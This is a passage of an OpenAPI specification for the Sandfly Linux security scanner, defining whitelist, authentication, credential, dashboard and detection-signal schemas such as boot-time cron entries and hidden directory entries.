retrieved"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Whitelist"]}},"/whitelistrules/sandfly/{sandfly}":{"get":{"description":"Get every whitelist rule that applies to a particular sandfly. This includes the rules that name the sandfly and the rules that apply to all sandflies. The sandfly must exist.","operationId":"getSandflyWhitelistRules","summary":"Get whitelists for sandfly","parameters":[{"description":"Name of the sandfly whose whitelist rules are retrieved.","in":"path","name":"sandfly","required":true,"schema":{"type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/TotalledResponse"}],"properties":{"data":{"description":"List of whitelist rules","type":"array","items":{"$ref":"#/components/schemas/WhitelistRuleSummary"}}},"required":["data"],"type":"object"}}},"description":"Whitelist rules for the sandfly retrieved"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Sandfly not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Whitelist"]}},"/whitelistrulesDelete":{"post":{"operationId":"deleteWhitelistRules","description":"Bulk deletes whitelist rules.","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/WhitelistRulesDelete"}}},"description":"Whitelist rules delete config.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Whitelists successfully deleted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid whitelist rules delete request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete Whitelist Rules","tags":["Whitelist"]}},"/debug/rotatejwtkey":{"post":{"description":"Generates a new JWT signing key and saves it to the database. This invalidates all existing user sessions, requiring users to log in again. The new key takes effect immediately.","operationId":"rotateJwtKey","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"JWT signing key rotated successfully."},"500":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Failed to rotate JWT signing key."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Rotate JWT Signing Key","tags":["Debug"]}}},"components":{"parameters":{"summary":{"description":"Data returned in summary form. If true, only the most important data is returned in a flattened format. If false, all data is returned.","in":"query","name":"summary","required":false,"schema":{"type":"boolean"}},"include_system":{"description":"If true, data returned include system only data types typically not intended for end user use.","in":"query","name":"summary","required":false,"schema":{"type":"boolean"}}},"schemas":{"AuditLogEntry":{"required":["id","ip_addr","message","record_type","timestamp","username"],"properties":{"id":{"type":"string","description":"ID of this audit log entry."},"ip_addr":{"type":"string","description":"IP address of the source of the request that this log message pertains to."},"message":{"type":"string","description":"Audit log message."},"record_type":{"type":"string","description":"Type of entry."},"timestamp":{"type":"string","description":"Time the activity occurred."},"username":{"type":"string","description":"Username (or, if internally triggered by the Sandfly API service, '[system]') that triggered this event."}},"type":"object"},"AuthAccess":{"description":"Response returned on successful login.","allOf":[{"$ref":"#/components/schemas/AuthAccessToken"}]},"AuthAccessFull":{"description":"Response returned on successful login when full_details is true in the request.","allOf":[{"$ref":"#/components/schemas/AuthAccessData"},{"$ref":"#/components/schemas/AuthAccessToken"}]},"AuthAccessRefresh":{"description":"Response returned on successful API login.","allOf":[{"$ref":"#/components/schemas/AuthAccessToken"},{"$ref":"#/components/schemas/AuthRefreshToken"}]},"AuthAccessRefreshFull":{"description":"Response returned on successful API login when full_details is true in the request.","allOf":[{"$ref":"#/components/schemas/AuthAccessData"},{"$ref":"#/components/schemas/AuthAccessToken"},{"$ref":"#/components/schemas/AuthRefreshToken"},{"$ref":"#/components/schemas/AuthRefreshData"}]},"AuthAccessToken":{"required":["access_token"],"readOnly":true,"properties":{"access_token":{"description":"Access token","type":"string"}},"type":"object"},"AuthAccessData":{"description":"Extended data returned on login when full_details is true.","readOnly":true,"required":["access_token_data","access_token_expire_date","access_token_issue_date","session_expiration_date","user","llm","response_actions","saved_views"],"type":"object","properties":{"access_token_data":{"$ref":"#/components/schemas/JWT","description":"Access JWT data decoded.","type":"object"},"access_token_expire_date":{"description":"Access token expire date.","type":"string","format":"date-time"},"access_token_issue_date":{"description":"Access token issue date.","type":"string","format":"date-time"},"session_expiration_date":{"description":"Time after which session cannot be refreshed.","type":"string","format":"date-time"},"user":{"$ref":"#/components/schemas/User"},"license":{"$ref":"#/components/schemas/License"},"llm":{"description":"Current LLM configuration","$ref":"#/components/schemas/LlmLoginInfo"},"response_actions":{"description":"Current response actions configuration","$ref":"#/components/schemas/ResponseActionsLoginInfo"},"saved_views":{"type":"array","items":{"$ref":"#/components/schemas/SavedView"}}}},"AuthRefreshToken":{"required":["refresh_token"],"readOnly":true,"properties":{"refresh_token":{"description":"Refresh token","type":"string"}},"type":"object"},"AuthRefreshData":{"description":"Extended data returned on token refresh when full_details is true.","readOnly":true,"required":["refresh_token","refresh_token_data","refresh_token_expire_date","refresh_token_issue_date"],"properties":{"refresh_token":{"description":"Refresh token.","type":"string"},"refresh_token_data":{"$ref":"#/components/schemas/JWT","description":"Refresh JWT data decoded.","type":"object"},"refresh_token_expire_date":{"description":"Refresh token expire date.","type":"string"},"refresh_token_issue_date":{"description":"Refresh token issue date.","type":"string"}},"type":"object"},"AuthLogin":{"properties":{"full_details":{"description":"Get full details of issued token.","type":"boolean"},"password":{"description":"Password string.","format":"password","type":"string"},"username":{"description":"Username string.","type":"string"}},"type":"object"},"AuthLoginRefresh":{"properties":{"full_details":{"description":"Get full details of issued token.","nullable":true,"type":"boolean"}},"type":"object"},"AuthLogout":{"type":"object"},"AutoDriftCreateRequest":{"type":"object","properties":{"name":{"type":"string","description":"The name of the auto-drift result profile."},"description":{"type":"string","description":"A description of the auto-drift result profile."},"user_note":{"type":"string","description":"A user-provided note to record in the profile's history log."},"scope":{"$ref":"#/components/schemas/ProfileAutoScope"},"model_hosts":{"description":"The hosts to use as the model (i.e. template) hosts for expected results.","$ref":"#/components/schemas/ProfileAutoHosts"},"covered_hosts":{"description":"The hosts that this profile should detect drift on (and optionally whitelist) after the results from the model host(s) are gathered.","$ref":"#/components/schemas/ProfileAutoHosts"},"gather_options":{"description":"When present, this profile will enter gather mode and run gather schedules as configured. If null, no gather schedule will be created and the profile will immediately enter enforcing mode.","nullable":true,"$ref":"#/components/schemas/ProfileGatherOptions"},"schedule_options":{"description":"When present, the new profile will automatically have a scan schedule associated with it that scans the covered hosts with the selected sandflies for drift detection. If null, no scan schedule will be created.","nullable":true,"$ref":"#/components/schemas/ProfileScheduleOptions"}},"required":["name","scope","model_hosts","covered_hosts","gather_options","schedule_options"]},"AutoDriftEditRequest":{"type":"object","properties":{"name":{"type":"string","description":"The name of the auto-drift result profile. If null or an empty string, the name will remain unchanged.","nullable":true},"description":{"type":"string","description":"A description of the auto-drift result profile. If null, will not change the existing description. If an empty string, will erase the existing description.","nullable":true},"user_note":{"type":"string","description":"A user-provided note to record in the profile's history log.","nullable":true},"scope":{"$ref":"#/components/schemas/ProfileAutoScope","nullable":true},"model_hosts":{"description":"The hosts to use as the model (i.e. template) hosts for expected results.","$ref":"#/components/schemas/ProfileAutoHosts","nullable":true},"covered_hosts":{"description":"The hosts that this profile should detect drift on (and optionally whitelist) after the results from the model host(s) are gathered.","$ref":"#/components/schemas/ProfileAutoHosts","nullable":true},"gather_options":{"description":"When present, this profile will enter gather mode and run gather schedules as configured. If null, no gather schedule will be created and the profile will immediately enter enforcing mode.","nullable":true,"$ref":"#/components/schemas/ProfileGatherOptions"},"schedule_options":{"description":"When present, the new profile will automatically have a scan schedule associated with it that scans the covered hosts with the selected sandflies for drift detection. If null, no scan schedule will be created.","nullable":true,"$ref":"#/components/schemas/ProfileScheduleOptions"}},"required":["name","scope","model_hosts","covered_hosts","gather_options","schedule_options"]},"AutoDriftAutoAppendRequest":{"type":"object","properties":{"user_note":{"type":"string","description":"User-provided descriptive note explaining the results that are being added. (Optional)"}}},"CredentialConfiguration":{"required":["credentials_type"],"description":"This is how we insert credentials for a target system. When inserted, they are encrypted and stored by the system. Also used by ad hoc scan for one time use credentials.","properties":{"credentials_type":{"$ref":"#/components/schemas/CredentialsType"},"external_ca_cert_b64":{"description":"If an external credential type, base64-encoded trusted root CA certificate for the credential provider service, if necessary.","type":"string"},"external_extra_data":{"description":"If an external credential type, extra data to provide to the credential provider service.","type":"string"},"external_unique_per_host":{"description":"If an external credential type, does the provider provide a unique credential per target host?","type":"boolean"},"external_url":{"description":"If an external credential type, the URL of the credential provider service.","type":"string"},"password":{"description":"This is the password we can use to login if using username credentials or needed for sudo.","type":"string"},"ssh_key_b64":{"description":"The ssh_key we can use to login that is base 64 encoded.","type":"string"},"ssh_key_certificate_b64":{"description":"The ssh_key_certificate if using SSH CA signed credentials.","type":"string"},"ssh_key_password":{"description":"This is the password used to decrypt the ssh_key if we have one.","type":"string"},"username":{"description":"This is the username we can use to login.","type":"string"},"ima_signing_key_b64":{"description":"Base64-encoded PKCS#1, PKCS#8, or encrypted PKCS#8 PEM-format RSA private key. If present on a credential, when the credential is used to connect to a host, Sandfly will add an IMA signature to the scanning binary on the target host using this private key.","type":"string"},"ima_signing_key_password":{"description":"If ima_signing_key_b64 contains an encrypted PKCS#8 private key, this password will be used to decrypt it. Do not set this property if ima_signing_key_b64 is empty.","type":"string"}},"type":"object"},"CredentialsDelete":{"properties":{"credential_ids":{"description":"List of credential_ids to delete.","items":{"type":"string"},"type":"array"}},"type":"object"},"CredentialsHostEncrypted":{"description":"This holds public key encrypted login credentials for target systems.","properties":{"credentials_data":{"description":"Encrypted credentials in base64 format for use by scanning nodes to authenticate to target.","type":"string"},"credentials_id":{"description":"The name of this encrypted credential","type":"string"},"credentials_type":{"$ref":"#/components/schemas/CredentialsType"},"external_ca_cert_b64":{"description":"If an external credential type, base64-encoded trusted root CA certificate for the credential provider service, if necessary.","type":"string"},"external_extra_data":{"description":"If an external credential type, extra data to provide to the credential provider service.","type":"string"},"external_unique_per_host":{"description":"If an external credential type, does the provider provide a unique credential per target host?","type":"boolean"},"external_url":{"description":"If an external credential type, the URL of the credential provider service.","type":"string"},"generated":{"description":"Indicates that this credential was generated by Sandfly.","type":"boolean"},"host_count":{"description":"The number of hosts in Sandfly assigned to this credential.","format":"int32","type":"integer"},"id":{"description":"The name of this encrypted credential","type":"string","deprecated":false},"public_key":{"description":"If this credential was generated by Sandfly, this is the public key to add to a host's authorized_keys file to allow Sandfly to connect with this credential.","type":"string"},"ima_key_present":{"description":"Indicates that this credential contains an IMA signing key and Sandfly will attempt to sign the scanning binary on target hosts that use this credential.","type":"boolean","readOnly":true}},"required":["id","credentials_id","credentials_type","credentials_data","generated","host_count"],"type":"object"},"CredentialsType":{"description":"Supported Credential Types.","type":"string","enum":["ssh_key","username","external","ssh_generate_ed25519","ssh_generate_rsa4096","ssh_generate_rsa8192"]},"CronSignal":{"type":"string","title":"CronSignal","description":"Findings from a scheduled cron entry.","enum":["runs-at-boot","non-utf8-crontab"],"x-enumDescriptions":{"runs-at-boot":"The entry runs on every boot, a common way to stay installed.","non-utf8-crontab":"The crontab contains invalid text, which can hide entries or signal tampering."},"x-enumSeverities":{"runs-at-boot":5,"non-utf8-crontab":4}},"CronSource":{"type":"string","title":"CronSource","description":"Where a cron entry was found.","enum":["user-crontab","system-crontab","cron-d-drop-in","run-parts-drop-in"],"x-enumDescriptions":{"user-crontab":"A crontab belonging to a single user.","system-crontab":"The system-wide crontab, which names the user each entry runs as.","cron-d-drop-in":"A drop-in file under /etc/cron.d.","run-parts-drop-in":"A script run from an hourly, daily, weekly or monthly cron directory."}},"CronTimeMacro":{"type":"string","title":"CronTimeMacro","description":"Shorthand schedules a cron entry can use instead of a full timetable.","enum":["@reboot","@yearly","@annually","@monthly","@weekly","@daily","@midnight","@hourly"],"x-enumDescriptions":{"@reboot":"Runs at every boot.","@yearly":"Runs once a year.","@annually":"Runs once a year.","@monthly":"Runs once a month.","@weekly":"Runs once a week.","@daily":"Runs once a day.","@midnight":"Runs once a day at midnight.","@hourly":"Runs once an hour."}},"DashboardData":{"type":"object","required":["period","hosts","results","alert_hosts","alert_hosts_count","artifacts","ssh_zone_violations","ssh_zone_violations_count","ssh_zones_count","ssh_active_keys_count","ssh_active_users_count","ssh_active_hosts_count","new_ssh_keys","new_ssh_keys_count","host_distributions","host_kernels","tactics"],"properties":{"period":{"type":"object","required":["start_time","end_time"],"description":"Time period that time-sequence data covers (will always be -72 hours from now to now).","properties":{"start_time":{"type":"string","format":"date-time"},"end_time":{"type":"string","format":"date-time"}}},"hosts":{"type":"object","description":"Count of hosts in system.","required":["total","total_active","total_inactive"],"properties":{"total":{"type":"integer"},"total_active":{"type":"integer"},"total_inactive":{"type":"integer"}}},"results":{"required":["hourly"],"properties":{"hourly":{"required":["alert","pass","error","all"],"properties":{"alert":{"$ref":"#/components/schemas/StandardTimeBasedGraphData"},"pass":{"$ref":"#/components/schemas/StandardTimeBasedGraphData"},"error":{"$ref":"#/components/schemas/StandardTimeBasedGraphData"},"all":{"$ref":"#/components/schemas/StandardTimeBasedGraphData"}}}}},"alert_hosts":{"type":"array","description":"Top 5 hosts that have alerts.","items":{"$ref":"#/components/schemas/DashboardHostSummary"}},"alert_hosts_count":{"type":"integer","description":"Total number of hosts with alerts, including those listed in alert_hosts."},"artifacts":{"type":"object","description":"Artifact-centric summary of what is currently alerting across all hosts. Every count covers live artifacts only (superseded copies are history), the same set the /v4/artifacts endpoints work over. These counts are cached and can be a few seconds behind on a system being actively scanned (usually no more than 10 seconds out of date).","required":["alert_hosts_count","alerts","distinct_alerts"],"properties":{"alert_hosts_count":{"type":"integer","description":"Number of hosts with one or more alerting artifacts. This is not the same number as the top-level alert_hosts_count, which counts hosts by their per-sandfly result counts and includes superseded results."},"alerts":{"type":"integer","description":"Number of alerting artifacts across those hosts."},"distinct_alerts":{"type":"object","description":"Number of alerting artifacts with cross-host duplicates collapsed, by each of the two match hash tiers the artifact API compares artifacts across hosts with (see ArtifactHostCounts). An alerting artifact with no hash for a tier has no cross-host identity to group it by, so it counts as one distinct artifact of its own in that tier.","required":["permissive","moderate"],"properties":{"permissive":{"type":"integer","description":"Distinct alerting artifacts by permissive match hash, which groups the same artifact wherever it is found."},"moderate":{"type":"integer","description":"Distinct alerting artifacts by moderate match hash, which keeps copies that differ in more than their location apart, so this number is the higher of the two."}}}}},"ssh_zone_violations":{"type":"array","description":"Top 5 SSH security zones that have violations.","items":{"$ref":"#/components/schemas/SSHZoneSummary"}},"ssh_zone_violations_count":{"type":"integer","description":"Total number of SSH security zones that have violations."},"ssh_zones_count":{"type":"integer","description":"Total number of SSH security zones configured."},"ssh_active_keys_count":{"type":"integer","description":"Total number of unique active SSH keys across all hosts."},"ssh_active_users_count":{"type":"integer","description":"Total number of unique usernames with active SSH keys across all hosts."},"ssh_active_hosts_count":{"type":"integer","description":"Total number of hosts with active SSH keys."},"new_ssh_keys":{"type":"array","description":"Newest 5 SSH keys that were first seen in the last 72 hours.","items":{"$ref":"#/components/schemas/DashboardSSHKeySummary"}},"new_ssh_keys_count":{"type":"integer","description":"Total number of new SSH keys in the last 72 hours, including those listed in new_ssh_keys."},"host_distributions":{"type":"array","description":"Count of OS distributions across hosts.","items":{"type":"object","required":["name","count"],"properties":{"name":{"type":"string","description":"Distribution name"},"count":{"type":"integer","description":"Number of hosts with this distribution."}}}},"host_kernels":{"type":"array","description":"Count of kernel versions across hosts.","items":{"type":"object","required":["name","count"],"properties":{"name":{"type":"string","description":"Kernel name"},"count":{"type":"integer","description":"Number of hosts with this kernel."}}}},"tactics":{"type":"array","description":"Count of alerts for each MITRE ATT&CK tactic seen over the last 72 hours.","items":{"type":"object","required":["name","count"],"properties":{"name":{"type":"string","description":"Tactic tag name"},"count":{"type":"integer","description":"Number of alerts."}}}}}},"DashboardHostSummary":{"type":"object","required":["host_id","host_sequence_id","os_info_os_release_pretty_name","os_info_node","tags","alerts"],"properties":{"host_id":{"type":"string","description":"Host ID."},"host_sequence_id":{"type":"integer","description":"Host sequence ID."},"os_info_os_release_pretty_name":{"type":"string","description":"Host OS distribution release name."},"os_info_node":{"type":"string","description":"Host node name."},"tags":{"type":"array","items":{"type":"string"},"description":"Host tags."},"alerts":{"type":"integer","description":"Number of current (not superseded) alert results on the host."}}},"DashboardSSHKeySummary":{"type":"object","properties":{"id":{"type":"integer","description":"ID of the SSH key."},"friendly_name":{"type":"string","description":"Friendly name of the SSH key."},"first_seen":{"type":"string","format":"date-time","description":"Date and time this key was first seen across the network."},"hosts":{"type":"array","description":"Up to two hosts that this new key has appeared on.","items":{"$ref":"#/components/schemas/DashboardHostSummary"}},"more_hosts":{"type":"boolean","description":"Is this key on more than just the hosts listed in the hosts property?"}}},"DashboardV2Data":{"type":"object","description":"Dashboard data. The hourly scan activity and the new SSH keys cover the requested period; every other value is the state now.","required":["generated_at","period","alerts","top_alerting_hosts","threat_hosts","hosts","ssh_zones","ssh_keys","coverage","hourly"],"properties":{"generated_at":{"type":"string","format":"date-time","description":"When the data was returned."},"period":{"$ref":"#/components/schemas/DashboardV2Period"},"alerts":{"$ref":"#/components/schemas/DashboardV2Alerts"},"top_alerting_hosts":{"type":"array","items":{"$ref":"#/components/schemas/DashboardV2AlertHost"},"description":"The hosts with the most severity 4 and 5 alerts, then the most alerts. Up to 6 hosts."},"threat_hosts":{"$ref":"#/components/schemas/DashboardV2ThreatHosts"},"hosts":{"$ref":"#/components/schemas/DashboardV2Hosts"},"ssh_zones":{"$ref":"#/components/schemas/DashboardV2SSHZones"},"ssh_keys":{"$ref":"#/components/schemas/DashboardV2SSHKeys"},"coverage":{"$ref":"#/components/schemas/DashboardV2Coverage"},"hourly":{"type":"array","items":{"$ref":"#/components/schemas/DashboardV2Hour"},"description":"Scan activity for each UTC hour in the period, oldest first. The first hour starts at the period's start time and the last hour is the current hour so far, so the counts add up to the whole period. The hours do not go back further than history_start. While the server is still catching up on scan history, such as just after an upgrade, hours older than a day that it has not reached yet are left out."}}},"DashboardV2Period":{"type":"object","description":"The period the dashboard covers.","required":["hours","start_time","end_time","history_start"],"properties":{"hours":{"type":"integer","description":"Length of the period in hours, as requested."},"start_time":{"type":"string","format":"date-time","description":"Start of the period."},"end_time":{"type":"string","format":"date-time","description":"End of the period."},"history_start":{"type":"string","format":"date-time","nullable":true,"description":"Start of the oldest hour of scan activity the server has. A period that starts before this has no scan activity for its earlier hours. Null if no host has been scanned yet. How far back scan activity goes is set by scan_log_retention_days."}}},"DashboardV2SeverityCounts":{"type":"object","description":"Counts of alerting artifacts by severity, 1 to 5.","required":["1","2","3","4","5"],"properties":{"1":{"type":"integer","description":"Number of alerting artifacts with severity 1."},"2":{"type":"integer","description":"Number of alerting artifacts with severity 2."},"3":{"type":"integer","description":"Number of alerting artifacts with severity 3."},"4":{"type":"integer","description":"Number of alerting artifacts with severity 4."},"5":{"type":"integer","description":"Number of alerting artifacts with severity 5."}}},"DashboardV2Alerts":{"type":"object","description":"Open alerts: alerting artifacts on hosts that have not been deleted.","required":["open","hosts","by_severity"],"properties":{"open":{"type":"integer","description":"Number of alerting artifacts."},"hosts":{"type":"integer","description":"Number of hosts with at least one alerting artifact."},"by_severity":{"$ref":"#/components/schemas/DashboardV2SeverityCounts"}}},"DashboardV2AlertHost":{"type":"object","description":"A host with open alerts.","required":["host_id","host_sequence_id","node_name","target_address","last_seen_ip_addr","alerts","by_severity"],"properties":{"host_id":{"type":"string","description":"Host ID."},"host_sequence_id":{"type":"integer","description":"Host sequence ID."},"node_name":{"type":"string","description":"Host node name."},"target_address":{"type":"string","description":"Address used to connect to the host."},"last_seen_ip_addr":{"type":"string","description":"IP address the host was last seen at."},"alerts":{"type":"integer","description":"Number of alerting artifacts on the host."},"by_severity":{"$ref":"#/components/schemas/DashboardV2SeverityCounts"}}},"DashboardV2ThreatHosts":{"type":"object","description":"Hosts that AI triage judged a threat: hosts with a likely_malicious or likely_compromised verdict, or a verdict that rated the host severity 4 or 5 where that rating still applies. A rating no longer applies after it is reverted, or once the host's alerts change.","required":["triage_enabled","hosts","by_tag","other","untagged"],"properties":{"triage_enabled":{"type":"boolean","description":"True if AI triage is enabled."},"hosts":{"type":"integer","description":"Number of threat hosts."},"by_tag":{"type":"array","items":{"$ref":"#/components/schemas/DashboardV2TagCount"},"description":"The host tags on the most threat hosts, most first. Up to 4 tags. A host with several tags counts once for each."},"other":{"$ref":"#/components/schemas/DashboardV2TagOther"},"untagged":{"type":"integer","description":"Number of threat hosts without a tag."}}},"DashboardV2TagCount":{"type":"object","description":"How many hosts have a tag.","required":["tag","hosts"],"properties":{"tag":{"type":"string","description":"Host tag."},"hosts":{"type":"integer","description":"Number of hosts with the tag."}}},"DashboardV2TagOther":{"type":"object","description":"The tags not included in a list.","required":["tags","hosts"],"properties":{"tags":{"type":"integer","description":"Number of tags not included."},"hosts":{"type":"integer","description":"Number of hosts with at least one of those tags."}}},"DashboardV2Hosts":{"type":"object","description":"Summary of the hosts that have not been deleted.","required":["total","active","online","os","os_other","os_unknown","arch"],"properties":{"total":{"type":"integer","description":"Number of hosts."},"active":{"type":"integer","description":"Number of active hosts: hosts that were added successfully. Hosts whose add failed are not active."},"online":{"type":"integer","description":"Number of hosts seen in the last 24 hours."},"os":{"type":"array","items":{"$ref":"#/components/schemas/DashboardV2OSCount"},"description":"The operating system versions on the most hosts, most first. Up to 3 versions."},"os_other":{"$ref":"#/components/schemas/DashboardV2OSOther"},"os_unknown":{"type":"integer","description":"Number of hosts whose operating system is not known yet, such as hosts that have not been scanned."},"arch":{"type":"array","items":{"$ref":"#/components/schemas/DashboardV2ArchCount"},"description":"Hosts by architecture, most first. Hosts whose architecture is not known are not included."}}},"DashboardV2OSCount":{"type":"object","description":"How many hosts run an operating system version.","required":["name","version","hosts"],"properties":{"name":{"type":"string","description":"Operating system release name."},"version":{"type":"string","description":"Major version, or major.minor version, from the release version. For example, 22.04 for release version 22.04.5 LTS. Empty if the release has no version number."},"hosts":{"type":"integer","description":"Number of hosts."}}},"DashboardV2OSOther":{"type":"object","description":"The operating system versions not included in a list.","required":["versions","hosts"],"properties":{"versions":{"type":"integer","description":"Number of versions not included."},"hosts":{"type":"integer","description":"Number of hosts that run one of those versions."}}},"DashboardV2ArchCount":{"type":"object","description":"How many hosts have an architecture.","required":["arch","hosts"],"properties":{"arch":{"type":"string","description":"Architecture, for example x86_64 or aarch64."},"hosts":{"type":"integer","description":"Number of hosts."}}},"DashboardV2SSHZones":{"type":"object","description":"Summary of the SSH zones.","required":["zones","zones_with_violations","hosts_with_violations","hosts_with_banned_keys","hosts_with_any_violation","top","other"],"properties":{"zones":{"type":"integer","description":"Number of SSH zones."},"zones_with_violations":{"type":"integer","description":"Number of zones with at least one host with a violation or a banned key."},"hosts_with_violations":{"type":"integer","description":"Number of hosts in any zone with an SSH key that none of the host's zones permit. A host in several zones counts once."},"hosts_with_banned_keys":{"type":"integer","description":"Number of hosts in any zone with a banned SSH key. A host in several zones counts once."},"hosts_with_any_violation":{"type":"integer","description":"Number of hosts in any zone with a violation, a banned SSH key or both. A host counts once, where adding hosts_with_violations and hosts_with_banned_keys counts a host with both twice."},"top":{"type":"array","items":{"$ref":"#/components/schemas/DashboardV2SSHZone"},"description":"The zones with the most hosts with violations or banned keys, then the most hosts. Up to 5 zones."},"other":{"$ref":"#/components/schemas/DashboardV2SSHZoneOther"}}},"DashboardV2SSHZone":{"type":"object","description":"An SSH zone.","required":["id","name","hosts","permitted_keys","users","hosts_with_violations","hosts_with_banned_keys"],"properties":{"id":{"type":"integer","description":"SSH zone ID."},"name":{"type":"string","description":"SSH zone name."},"hosts":{"type":"integer","description":"Number of hosts in the zone."},"permitted_keys":{"type":"integer","description":"Number of SSH keys the zone permits."},"users":{"type":"integer","description":"Number of users with an SSH key that allows login to a host in the zone."},"hosts_with_violations":{"type":"integer","description":"Number of hosts in the zone with an SSH key that none of the host's zones permit. A key this zone does not permit is not a violation on a host that is also in a zone that permits it."},"hosts_with_banned_keys":{"type":"integer","description":"Number of hosts in the zone with a banned SSH key."}}},"DashboardV2SSHZoneOther":{"type":"object","description":"The SSH zones not included in a list. A host, key or user in several of them counts once for each.","required":["zones","hosts","permitted_keys","users","hosts_with_violations","hosts_with_banned_keys"],"properties":{"zones":{"type":"integer","description":"Number of zones not included."},"hosts":{"type":"integer","description":"Number of hosts in those zones."},"permitted_keys":{"type":"integer","description":"Number of SSH keys those zones permit."},"users":{"type":"integer","description":"Number of users with an SSH key that allows login to a host in those zones."},"hosts_with_violations":{"type":"integer","description":"Number of hosts in those zones with an SSH key that none of the host's zones permit."},"hosts_with_banned_keys":{"type":"integer","description":"Number of hosts in those zones with a banned SSH key."}}},"DashboardV2SSHKeys":{"type":"object","description":"Summary of the SSH keys that allow login to hosts, and the keys first seen in the period.","required":["active","banned","usernames","new","new_keys","new_other"],"properties":{"active":{"type":"integer","description":"Number of SSH keys that allow login to at least one host."},"banned":{"type":"integer","description":"Number of banned SSH keys that allow login to at least one host."},"usernames":{"type":"integer","description":"Number of different usernames that SSH keys allow login as, on any host. A username on several hosts counts once."},"new":{"type":"integer","description":"Number of SSH keys first seen in the period."},"new_keys":{"type":"array","items":{"$ref":"#/components/schemas/DashboardV2NewSSHKey"},"description":"The SSH keys first seen most recently in the period, newest first. Up to 4 keys."},"new_other":{"$ref":"#/components/schemas/DashboardV2NewSSHOther"}}},"DashboardV2NewSSHKey":{"type":"object","description":"An SSH key first seen in the period.","required":["id","friendly_name","sha256_fingerprint","banned","first_seen","host_id","host_sequence_id","node_name","username","hosts","users"],"properties":{"id":{"type":"integer","description":"SSH key ID."},"friendly_name":{"type":"string","description":"SSH key friendly name."},"sha256_fingerprint":{"type":"string","description":"SSH key SHA256 fingerprint."},"banned":{"type":"boolean","description":"True if the key is banned."},"first_seen":{"type":"string","format":"date-time","description":"When the key was first seen."},"host_id":{"type":"string","description":"ID of the host the key was first seen on. Empty if that host was deleted."},"host_sequence_id":{"type":"integer","description":"Sequence ID of the host the key was first seen on. 0 if that host was deleted."},"node_name":{"type":"string","description":"Node name of the host the key was first seen on."},"username":{"type":"string","description":"User the key was first seen for."},"hosts":{"type":"integer","description":"Number of hosts the key allows login to now."},"users":{"type":"integer","description":"Number of users the key allows login as now."}}},"DashboardV2NewSSHOther":{"type":"object","description":"The new SSH keys not included in a list.","required":["keys","hosts","users"],"properties":{"keys":{"type":"integer","description":"Number of keys not included."},"hosts":{"type":"integer","description":"Number of hosts those keys allow login to now."},"users":{"type":"integer","description":"Number of users those keys allow login as now."}}},"DashboardV2Coverage":{"type":"object","description":"What was scanned in the last 24 hours. Divide hosts_scanned_24h by hosts.active for the share of hosts scanned.","required":["hosts_scanned_24h","sandflies_run_24h","sandflies_active"],"properties":{"hosts_scanned_24h":{"type":"integer","description":"Number of hosts scanned in the last 24 hours."},"sandflies_run_24h":{"type":"integer","description":"Number of active sandflies that ran in the last 24 hours, to the hour."},"sandflies_active":{"type":"integer","description":"Number of active sandflies."}}},"DashboardV2Hour":{"type":"object","description":"Scan activity in one UTC hour. Every count except hosts_alerting can be added up across hours, for example to make daily totals in a local time zone.","required":["time","host_scans","scan_errors","artifacts","results","hosts_alerting"],"properties":{"time":{"type":"string","format":"date-time","description":"Start of the hour."},"host_scans":{"type":"integer","description":"Number of host scans whose results the server received in the hour. This is when the results reached the server, not when the scan ran on the host, so a backlog of results waiting to be received shows up in the hour they are received. A host scanned twice counts twice."},"scan_errors":{"type":"integer","description":"Number of host scans whose failure the server received in the hour."},"artifacts":{"type":"integer","format":"int64","nullable":true,"description":"Number of artifacts the nodes sent back for the hour's scans, before the server combined them for storage. Null for hours before this count was recorded."},"results":{"$ref":"#/components/schemas/DashboardV2ResultCounts"},"hosts_alerting":{"type":"integer","nullable":true,"description":"Number of hosts with open alerts at the end of the hour. This is a level, not a count of the hour's activity, so do not add it up across hours. For the current hour, it is the number of hosts with open alerts now. Null for hours the server did not record it: hours from before the server was upgraded to a version that records it, and hours that ended while the server was not running."}}},"DashboardV2ResultCounts":{"type":"object","description":"Counts of the results of the hour's scans.","required":["pass","alert","error"],"properties":{"pass":{"type":"integer","format":"int64","description":"Number of sandflies that ran without finding anything."},"alert":{"type":"integer","format":"int64","description":"Number of alert results."},"error":{"type":"integer","format":"int64","description":"Number of sandfly error results."}}},"DeletedData":{"enum":["[deleted]"]},"DirectorySignal":{"type":"string","title":"DirectorySignal","description":"Findings from a directory.","enum":["count-mismatch","cloaked-entry","world-writable-without-sticky"],"x-enumDescriptions":{"count-mismatch":"The directory holds more entries than it reports, a sign that files are being hidden.","cloaked-entry":"An entry hidden from normal directory listings, a common rootkit technique.","world-writable-without-sticky":"Any user can delete or replace another user's files in this directory."},"x-enumSeverities":{"count-mismatch":5,"cloaked-entry":5,"world-writable-without-sticky":5}},"EmailAlertsConfig":{"required":["mail_password"],"allOf":[{"$ref":"#/components/schemas/EmailAlert"}],"properties":{"mail_password":{"description":"Password used with this email entry.","type":"string"}},"type":"object"},"EmailAlert":{"type":"object","required":["name","email_recipients","email_sender","mail_server","mail_port","mail_username"],"properties":{"name":{"type":"string","description":"Human friendly name for the email alert."},"email_recipients":{"type":"array","description":"Emails of those who will receive this alert.","uniqueItems":true,"items":{"type":"string","format":"email"}},"email_sender":{"type":"string","format":"email","description":"Email that will appear as the sender of the alert."},"mail_server":{"type":"string","format":"uri","description":"hostname or IP address for the SMTP server."},"mail_port":{"type":"integer","description":"SMTP server 